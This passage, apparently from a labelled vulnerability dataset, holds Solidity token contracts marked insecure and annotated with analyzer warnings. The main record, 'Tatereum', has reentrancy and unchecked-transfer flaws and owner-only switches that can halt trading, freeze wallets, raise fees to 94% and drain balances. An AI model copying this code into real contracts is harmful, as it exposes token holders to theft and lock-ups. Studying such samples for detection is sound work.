constant \n\t// Recommendation for eb96070: Add the 'constant' attribute to state variables that never change.\n uint256 private _tTotal = 100000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n address public marketingWallet = 0xba66F005cd898A8d53a4ED4dc06dC787f597FE44;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e92e25): Tatereum._name should be constant \n\t// Recommendation for 0e92e25: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Tatereum\";\n\t// WARNING Optimization Issue (constable-states | ID: 9bd546c): Tatereum._symbol should be constant \n\t// Recommendation for 9bd546c: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"TATEREUM\";\n\t// WARNING Optimization Issue (constable-states | ID: bc5d48f): Tatereum._decimals should be constant \n\t// Recommendation for bc5d48f: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\n uint256 public _taxFee = 0;\n uint256 private _previousTaxFee = _taxFee;\n\n uint256 public marketingFeePercent = 2;\n\n uint256 public _liquidityFee = 2;\n uint256 private _previousLiquidityFee = _liquidityFee;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n\n bool inSwapAndLiquify;\n bool public swapAndLiquifyEnabled = true;\n\n uint256 public _maxTxAmount = 2000000 * 10 ** 9;\n uint256 public numTokensSellToAddToLiquidity = 500000 * 10 ** 9;\n uint256 public _maxWalletSize = 3000000 * 10 ** 9;\n\n event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);\n event SwapAndLiquifyEnabledUpdated(bool enabled);\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9081f03): Tatereum.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9081f03: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 599917b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 599917b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3a23486): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3a23486: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 599917b\n\t\t// reentrancy-benign | ID: 3a23486\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 599917b\n\t\t// reentrancy-benign | ID: 3a23486\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcludedFromReward(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 01dd092): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 01dd092: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function airdrop(address recipient, uint256 amount) external onlyOwner {\n removeAllFee();\n\t\t// reentrancy-eth | ID: 01dd092\n _transfer(_msgSender(), recipient, amount * 10 ** 9);\n\t\t// reentrancy-eth | ID: 01dd092\n restoreAllFee();\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6aa45e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6aa45e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function airdropInternal(address recipient, uint256 amount) internal {\n removeAllFee();\n\t\t// reentrancy-eth | ID: 6aa45e5\n _transfer(_msgSender(), recipient, amount);\n\t\t// reentrancy-eth | ID: 6aa45e5\n restoreAllFee();\n }\n\n function airdropArray(\n address[] calldata newholders,\n uint256[] calldata amounts\n ) external onlyOwner {\n uint256 iterator = 0;\n require(newholders.length == amounts.length, \"must be the same length\");\n while (iterator < newholders.length) {\n airdropInternal(newholders[iterator], amounts[iterator] * 10 ** 9);\n iterator += 1;\n }\n }\n\n function deliver(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function excludeFromReward(address account) public onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeInReward(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 08cd93e\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function excludeFromFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = true;\n }\n\n function includeInFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = false;\n }\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 86ec0aa): Tatereum.setMarketingFeePercent(uint256) should emit an event for marketingFeePercent = fee \n\t// Recommendation for 86ec0aa: Emit an event for critical parameter changes.\n function setMarketingFeePercent(uint256 fee) public onlyOwner {\n\t\t// events-maths | ID: 86ec0aa\n marketingFeePercent = fee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 66e71b0): Tatereum.setMarketingWallet(address).walletAddress lacks a zerocheck on \t marketingWallet = walletAddress\n\t// Recommendation for 66e71b0: Check that the address is not zero.\n function setMarketingWallet(address walletAddress) public onlyOwner {\n\t\t// missing-zero-check | ID: 66e71b0\n marketingWallet = walletAddress;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 99f4634): Tatereum.setTaxFeePercent(uint256) should emit an event for _taxFee = taxFee \n\t// Recommendation for 99f4634: Emit an event for critical parameter changes.\n function setTaxFeePercent(uint256 taxFee) external onlyOwner {\n require(taxFee < 95, \"Tax fee cannot be more than 10%\");\n\t\t// events-maths | ID: 99f4634\n _taxFee = taxFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: eebc056): Tatereum.setLiquidityFeePercent(uint256) should emit an event for _liquidityFee = liquidityFee \n\t// Recommendation for eebc056: Emit an event for critical parameter changes.\n function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {\n\t\t// events-maths | ID: eebc056\n _liquidityFee = liquidityFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8c5ee82): Tatereum._setMaxWalletSizePercent(uint256) should emit an event for _maxWalletSize = _tTotal.mul(maxWalletSize).div(10 ** 3) \n\t// Recommendation for 8c5ee82: Emit an event for critical parameter changes.\n function _setMaxWalletSizePercent(\n uint256 maxWalletSize\n ) external onlyOwner {\n\t\t// events-maths | ID: 8c5ee82\n _maxWalletSize = _tTotal.mul(maxWalletSize).div(10 ** 3);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 505a0ff): Tatereum.setMaxTxAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount * 10 ** 9 \n\t// Recommendation for 505a0ff: Emit an event for critical parameter changes.\n function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner {\n require(\n maxTxAmount > 200000,\n \"Max Tx Amount cannot be less than 69 Million\"\n );\n\t\t// events-maths | ID: 505a0ff\n _maxTxAmount = maxTxAmount * 10 ** 9;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 63db236): Tatereum.setSwapThresholdAmount(uint256) should emit an event for numTokensSellToAddToLiquidity = SwapThresholdAmount * 10 ** 9 \n\t// Recommendation for 63db236: Emit an event for critical parameter changes.\n function setSwapThresholdAmount(\n uint256 SwapThresholdAmount\n ) external onlyOwner {\n require(\n SwapThresholdAmount > 200000,\n \"Swap Threshold Amount cannot be less than 69 Million\"\n );\n\t\t// events-maths | ID: 63db236\n numTokensSellToAddToLiquidity = SwapThresholdAmount * 10 ** 9;\n }\n\n function claimTokens() public onlyOwner {\n payable(marketingWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: fc7dd2f): Tatereum.claimOtherTokens(IERC20,address) ignores return value by tokenAddress.transfer(walletaddress,tokenAddress.balanceOf(address(this)))\n\t// Recommendation for fc7dd2f: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function claimOtherTokens(\n IERC20 tokenAddress,\n address walletaddress\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: fc7dd2f\n tokenAddress.transfer(\n walletaddress,\n tokenAddress.balanceOf(address(this))\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 016355d): Tatereum.clearStuckBalance(address).walletaddress lacks a zerocheck on \t walletaddress.transfer(address(this).balance)\n\t// Recommendation for 016355d: Check that the address is not zero.\n function clearStuckBalance(\n address payable walletaddress\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 016355d\n walletaddress.transfer(address(this).balance);\n }\n\n function addBotWallet(address botwallet) external onlyOwner {\n botWallets[botwallet] = true;\n }\n\n function removeBotWallet(address botwallet) external onlyOwner {\n botWallets[botwallet] = false;\n }\n\n function getBotWalletStatus(address botwallet) public view returns (bool) {\n return botWallets[botwallet];\n }\n\n function allowtrading() external onlyOwner {\n canTrade = true;\n }\n\n function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {\n swapAndLiquifyEnabled = _enabled;\n emit SwapAndLiquifyEnabledUpdated(_enabled);\n }\n\n receive() external payable {}\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: bfe0b8e\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 31a01b6\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity\n ) = _getTValues(tAmount);\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tLiquidity,\n _getRate()\n );\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n tFee,\n tLiquidity\n );\n }\n\n function _getTValues(\n uint256 tAmount\n ) private view returns (uint256, uint256, uint256) {\n uint256 tFee = calculateTaxFee(tAmount);\n uint256 tLiquidity = calculateLiquidityFee(tAmount);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);\n return (tTransferAmount, tFee, tLiquidity);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tLiquidity,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rLiquidity = tLiquidity.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: 349ca42\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _takeLiquidity(uint256 tLiquidity) private {\n uint256 currentRate = _getRate();\n uint256 rLiquidity = tLiquidity.mul(currentRate);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);\n if (_isExcluded[address(this)])\n\t\t\t// reentrancy-eth | ID: bfe0b8e\n _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);\n }\n\n function calculateTaxFee(uint256 _amount) private view returns (uint256) {\n return _amount.mul(_taxFee).div(10 ** 2);\n }\n\n function calculateLiquidityFee(\n uint256 _amount\n ) private view returns (uint256) {\n return _amount.mul(_liquidityFee).div(10 ** 2);\n }\n\n function removeAllFee() private {\n if (_taxFee == 0 && _liquidityFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 31a01b6\n _previousTaxFee = _taxFee;\n\t\t// reentrancy-benign | ID: 31a01b6\n _previousLiquidityFee = _liquidityFee;\n\n\t\t// reentrancy-benign | ID: 31a01b6\n _taxFee = 0;\n\t\t// reentrancy-benign | ID: 31a01b6\n _liquidityFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 31a01b6\n\t\t// reentrancy-eth | ID: 01dd092\n\t\t// reentrancy-eth | ID: 6aa45e5\n _taxFee = _previousTaxFee;\n\t\t// reentrancy-benign | ID: 31a01b6\n\t\t// reentrancy-eth | ID: 01dd092\n\t\t// reentrancy-eth | ID: 6aa45e5\n _liquidityFee = _previousLiquidityFee;\n }\n\n function isExcludedFromFee(address account) public view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fde9d5c): Tatereum._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fde9d5c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5d07bc4\n\t\t// reentrancy-benign | ID: 3a23486\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 599917b\n\t\t// reentrancy-events | ID: c9be533\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 08cd93e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 08cd93e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 31a01b6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 31a01b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bfe0b8e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bfe0b8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (from != owner() && to != owner())\n require(\n amount <= _maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount.\"\n );\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n bool overMinTokenBalance = contractTokenBalance >=\n numTokensSellToAddToLiquidity;\n if (\n overMinTokenBalance &&\n !inSwapAndLiquify &&\n from != uniswapV2Pair &&\n swapAndLiquifyEnabled\n ) {\n contractTokenBalance = numTokensSellToAddToLiquidity;\n\n\t\t\t// reentrancy-events | ID: 08cd93e\n\t\t\t// reentrancy-benign | ID: 31a01b6\n\t\t\t// reentrancy-eth | ID: bfe0b8e\n swapAndLiquify(contractTokenBalance);\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {\n takeFee = false;\n }\n\n if (takeFee) {\n if (to != uniswapV2Pair) {\n require(\n amount + balanceOf(to) <= _maxWalletSize,\n \"Recipient exceeds max wallet size.\"\n );\n }\n }\n\n\t\t// reentrancy-events | ID: 08cd93e\n\t\t// reentrancy-benign | ID: 31a01b6\n\t\t// reentrancy-eth | ID: bfe0b8e\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c9be533): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c9be533: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5d07bc4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5d07bc4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 7eb9073): Tatereum.swapAndLiquify(uint256) has external calls inside a loop address(marketingWallet).transfer(marketingshare)\n\t// Recommendation for 7eb9073: Favor pull over push strategy for external calls.\n function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {\n uint256 half = contractTokenBalance.div(2);\n uint256 otherHalf = contractTokenBalance.sub(half);\n\n uint256 initialBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: c9be533\n\t\t// reentrancy-benign | ID: 5d07bc4\n swapTokensForEth(half);\n\n uint256 newBalance = address(this).balance.sub(initialBalance);\n uint256 marketingshare = newBalance.mul(marketingFeePercent).div(100);\n\t\t// reentrancy-events | ID: 599917b\n\t\t// reentrancy-events | ID: c9be533\n\t\t// reentrancy-events | ID: 08cd93e\n\t\t// calls-loop | ID: 7eb9073\n\t\t// reentrancy-eth | ID: 01dd092\n\t\t// reentrancy-eth | ID: 6aa45e5\n\t\t// reentrancy-eth | ID: bfe0b8e\n payable(marketingWallet).transfer(marketingshare);\n newBalance -= marketingshare;\n\n\t\t// reentrancy-events | ID: c9be533\n\t\t// reentrancy-benign | ID: 5d07bc4\n addLiquidity(otherHalf, newBalance);\n\n\t\t// reentrancy-events | ID: c9be533\n emit SwapAndLiquify(half, newBalance, otherHalf);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 85b6c27): Tatereum.swapTokensForEth(uint256) has external calls inside a loop path[1] = uniswapV2Router.WETH()\n\t// Recommendation for 85b6c27: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 904345a): Tatereum.swapTokensForEth(uint256) has external calls inside a loop uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp)\n\t// Recommendation for 904345a: Favor pull over push strategy for external calls.\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n\t\t// calls-loop | ID: 85b6c27\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 599917b\n\t\t// reentrancy-events | ID: c9be533\n\t\t// reentrancy-events | ID: 08cd93e\n\t\t// reentrancy-benign | ID: 5d07bc4\n\t\t// reentrancy-benign | ID: 31a01b6\n\t\t// reentrancy-benign | ID: 3a23486\n\t\t// calls-loop | ID: 904345a\n\t\t// reentrancy-eth | ID: 01dd092\n\t\t// reentrancy-eth | ID: 6aa45e5\n\t\t// reentrancy-eth | ID: bfe0b8e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 665022d): Tatereum.addLiquidity(uint256,uint256) has external calls inside a loop uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 665022d: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d32f5e5): Tatereum.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for d32f5e5: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 599917b\n\t\t// reentrancy-events | ID: c9be533\n\t\t// reentrancy-events | ID: 08cd93e\n\t\t// reentrancy-benign | ID: 5d07bc4\n\t\t// reentrancy-benign | ID: 31a01b6\n\t\t// reentrancy-benign | ID: 3a23486\n\t\t// calls-loop | ID: 665022d\n\t\t// unused-return | ID: d32f5e5\n\t\t// reentrancy-eth | ID: 01dd092\n\t\t// reentrancy-eth | ID: 6aa45e5\n\t\t// reentrancy-eth | ID: bfe0b8e\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!canTrade) {\n require(sender == owner());\n }\n\n if (botWallets[sender] || botWallets[recipient]) {\n require(botscantrade, \"bots arent allowed to trade\");\n }\n\n if (!takeFee) removeAllFee();\n\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferFromExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\n _transferToExcluded(sender, recipient, amount);\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\n _transferStandard(sender, recipient, amount);\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\n _transferBothExcluded(sender, recipient, amount);\n } else {\n _transferStandard(sender, recipient, amount);\n }\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 08cd93e\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferToExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 08cd93e\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _transferFromExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: bfe0b8e\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: 08cd93e\n emit Transfer(sender, recipient, tTransferAmount);\n }\n}",
"file_name": "solidity_code_2456.sol",
"secure": 0,
"size_bytes": 34446
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract EcaDegen is Context, IERC20, Ownable {\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 420000000 * 10 ** _decimals;\n string private constant _name = unicode\"https://t.me/EcaDegen\";\n string private constant _symbol = unicode\"https://t.me/TrackerETHBot\";\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability 